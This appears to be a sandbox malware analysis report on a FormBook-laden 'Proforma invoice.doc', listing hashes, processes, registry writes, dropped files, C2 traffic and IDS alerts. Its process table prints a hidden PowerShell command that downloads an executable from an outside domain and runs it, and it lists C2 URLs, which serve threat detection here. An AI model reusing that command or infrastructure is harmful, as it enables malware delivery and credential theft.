| File name: | Proforma invoice.doc |
| Full analysis: | https://app.any.run/tasks/3f862f76-dc6f-4525-873d-0e1717f3dabb |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | January 17, 2019, 23:04:48 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: D!akov RePack, Template: Normal.dotm, Last Saved By: D!akov RePack, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Jan 15 22:59:00 2019, Last Saved Time/Date: Tue Jan 15 22:59:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0 |
| MD5: | 0AC75DBEB4025460CD9F076DCE9D9B7B |
| SHA1: | 7E30F0B6614F3309DE4F7184EF38EFCB0D3A7266 |
| SHA256: | 0DD37E4F6A326C5A21FE4052227B7FB81C3F2CA0B6E0ABC7607BD979D3B1E0CF |
| SSDEEP: | 192:w+NslLZEvA+6/6rrILd/Kf3HO8teQMI9JRVEoS8CcJxuXyN0jBZdtpMia:wD8iSUR/8deU5S8PJUyN0jBLt+ |
MALICIOUS
Connects to CnC server
- explorer.exe (PID: 116)
Changes the autorun value in the registry
- svchost.exe (PID: 2360)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2796)
Executes PowerShell scripts
- cmd.exe (PID: 3388)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2796)
Application was dropped or rewritten from another process
- jubajeo.exe (PID: 3416)
- mfc2doplnh8.exe (PID: 3348)
- mfc2doplnh8.exe (PID: 316)
- jubajeo.exe (PID: 4004)
Formbook was detected
- svchost.exe (PID: 2360)
- Firefox.exe (PID: 3300)
Actions looks like stealing of personal data
- svchost.exe (PID: 2360)
Loads dropped or rewritten executable
- svchost.exe (PID: 2360)
Stealing of credential data
- cmd.exe (PID: 3456)
- svchost.exe (PID: 2360)
FORMBOOK was detected
- explorer.exe (PID: 116)
Uses SVCHOST.EXE for hidden code execution
- explorer.exe (PID: 116)
SUSPICIOUS
Executable content was dropped or overwritten
- explorer.exe (PID: 116)
- DllHost.exe (PID: 2788)
- svchost.exe (PID: 2360)
- powershell.exe (PID: 2408)
Starts CMD.EXE for commands execution
- svchost.exe (PID: 2360)
Creates files in the user directory
- powershell.exe (PID: 2408)
- svchost.exe (PID: 2360)
Loads DLL from Mozilla Firefox
- svchost.exe (PID: 2360)
Creates files in the program directory
- DllHost.exe (PID: 2788)
Application launched itself
- mfc2doplnh8.exe (PID: 3348)
- jubajeo.exe (PID: 3416)
INFO
Starts Microsoft Office Application
- explorer.exe (PID: 116)
Creates files in the user directory
- WINWORD.EXE (PID: 2796)
- Firefox.exe (PID: 3300)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2796)
Dropped object may contain Bitcoin addresses
- explorer.exe (PID: 116)
- DllHost.exe (PID: 2788)
- powershell.exe (PID: 2408)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | D!akov RePack |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | D!akov RePack |
| RevisionNumber: | 2 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:01:15 22:59:00 |
| ModifyDate: | 2019:01:15 22:59:00 |
| Pages: | 1 |
| Words: | - |
| Characters: | - |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | diakov.net |
| Lines: | - |
| Paragraphs: | - |
| CharCountWithSpaces: | - |
| AppVersion: | 15 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
47
Monitored processes
14
Malicious processes
6
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 116 | C:\Windows\Explorer.EXE | C:\Windows\explorer.exe | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 316 | "C:\Program Files\Btz28\mfc2doplnh8.exe" | C:\Program Files\Btz28\mfc2doplnh8.exe | — | mfc2doplnh8.exe | |||||||||||
User: admin Company: EDP - Energias de Portugal Integrity Level: MEDIUM Description: Dynamic IP Restriction Module Exit code: 0 Version: 8.1.23.2 Modules
| |||||||||||||||
| 1132 | "C:\Windows\System32\wuapp.exe" | C:\Windows\System32\wuapp.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Update Application Launcher Exit code: 0 Version: 7.5.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2360 | "C:\Windows\System32\svchost.exe" | C:\Windows\System32\svchost.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Host Process for Windows Services Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2408 | powershell -w Hidden -ExecutionPolicy Bypass (new-object System.Net.WebClient).DownloadFile('https://froidfond-stejeannedarc.fr/jubajeo.exe','C:\Users\admin\AppData\Local\Temp\jubajeo.exe'); C:\Users\admin\AppData\Local\Temp\jubajeo.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2764 | /c del "C:\Users\admin\AppData\Local\Temp\jubajeo.exe" | C:\Windows\System32\cmd.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2788 | C:\Windows\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} | C:\Windows\system32\DllHost.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: COM Surrogate Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2796 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Proforma invoice.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3300 | "C:\Program Files\Mozilla Firefox\Firefox.exe" | C:\Program Files\Mozilla Firefox\Firefox.exe | svchost.exe | ||||||||||||
User: admin Company: Mozilla Corporation Integrity Level: MEDIUM Description: Firefox Exit code: 0 Version: 61.0.2 Modules
| |||||||||||||||
| 3348 | "C:\Program Files\Btz28\mfc2doplnh8.exe" | C:\Program Files\Btz28\mfc2doplnh8.exe | — | explorer.exe | |||||||||||
User: admin Company: EDP - Energias de Portugal Integrity Level: MEDIUM Description: Dynamic IP Restriction Module Exit code: 0 Version: 8.1.23.2 Modules
| |||||||||||||||
Total events
1 922
Read events
1 489
Write events
423
Delete events
10
Modification events
| (PID) Process: | (2796) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | o $ |
Value: 6F202400EC0A0000010000000000000000000000 | |||
| (PID) Process: | (2796) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2796) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2796) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1311834142 | |||
| (PID) Process: | (2796) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1311834256 | |||
| (PID) Process: | (2796) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1311834257 | |||
| (PID) Process: | (2796) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: EC0A00007A4D161BB9AED40100000000 | |||
| (PID) Process: | (2796) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | f7f81a39-5f63-5b42-9efd-1f13b5431005quot;$ |
Value: 24222400EC0A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2796) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | f7f81a39-5f63-5b42-9efd-1f13b5431005quot;$ |
Value: 24222400EC0A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2796) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
4
Suspicious files
81
Text files
1
Unknown types
4
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2796 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR906F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2796 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF5881C997935F6612.TMP | — | |
MD5:— | SHA256:— | |||
| 2796 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E9B5C50B-96A0-41DB-8BB7-089D393CEB15}.tmp | — | |
MD5:— | SHA256:— | |||
| 2796 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B4DCFD4A-55CF-4441-9A52-8099D202D2AC}.tmp | — | |
MD5:— | SHA256:— | |||
| 2408 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6WCDWQ140078QND173ZJ.temp | — | |
MD5:— | SHA256:— | |||
| 116 | explorer.exe | C:\Users\admin\AppData\Local\Temp\Btz28\mfc2doplnh8.exe | executable | |
MD5:— | SHA256:— | |||
| 2796 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2408 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1a9849.TMP | binary | |
MD5:— | SHA256:— | |||
| 2796 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$oforma invoice.doc | pgc | |
MD5:— | SHA256:— | |||
| 2408 | powershell.exe | C:\Users\admin\AppData\Local\Temp\jubajeo.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
6
DNS requests
4
Threats
14
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
116 | explorer.exe | POST | 404 | 199.192.26.77:80 | http://www.dozceb.com/sa/ | US | html | 288 b | malicious |
116 | explorer.exe | POST | 404 | 199.192.26.77:80 | http://www.dozceb.com/sa/ | US | html | 288 b | malicious |
116 | explorer.exe | POST | — | 199.192.26.77:80 | http://www.dozceb.com/sa/ | US | — | — | malicious |
116 | explorer.exe | GET | 200 | 199.192.26.77:80 | http://www.dozceb.com/sa/?jdGtQt20=DBnwY4qpJ55l7TSOih+BuRU/81Q6cTh263obRAs8UIvXq3uYxYb/U8TQzoBiEtLhDnXo0A==&TT=Ehd07BMX&sql=1 | US | binary | 323 Kb | malicious |
116 | explorer.exe | GET | 404 | 45.192.86.242:80 | http://www.greencupsz.com/sa/?jdGtQt20=Q1Qpf324E56oI4ymFIch4XRLZp35kFehtA8f2idRJrSJmrbbbkjf+KiZjoLfARN3FPrlDA==&TT=Ehd07BMX | ZA | html | 1.14 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2408 | powershell.exe | 213.186.33.40:443 | froidfond-stejeannedarc.fr | OVH SAS | FR | malicious |
116 | explorer.exe | 45.192.86.242:80 | www.greencupsz.com | MacroLAN | ZA | suspicious |
116 | explorer.exe | 199.192.26.77:80 | www.dozceb.com | — | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
froidfond-stejeannedarc.fr |
| malicious |
www.greencupsz.com |
| malicious |
www.readytraffic4update.review |
| unknown |
www.dozceb.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
116 | explorer.exe | A Network Trojan was detected | SC SPYWARE Trojan-Spy.Win32.Noon |
116 | explorer.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious HTTP-GET request with body and minimal header |
116 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (GET) |
116 | explorer.exe | A Network Trojan was detected | SC SPYWARE Trojan-Spy.Win32.Noon |
116 | explorer.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious HTTP-GET request with body and minimal header |
116 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (GET) |
116 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] TrojanSpy:FormBook CnC Checkin (POST) |
116 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (POST) |
116 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] TrojanSpy:FormBook CnC Checkin (POST) |
116 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (POST) |
4 ETPRO signatures available at the full report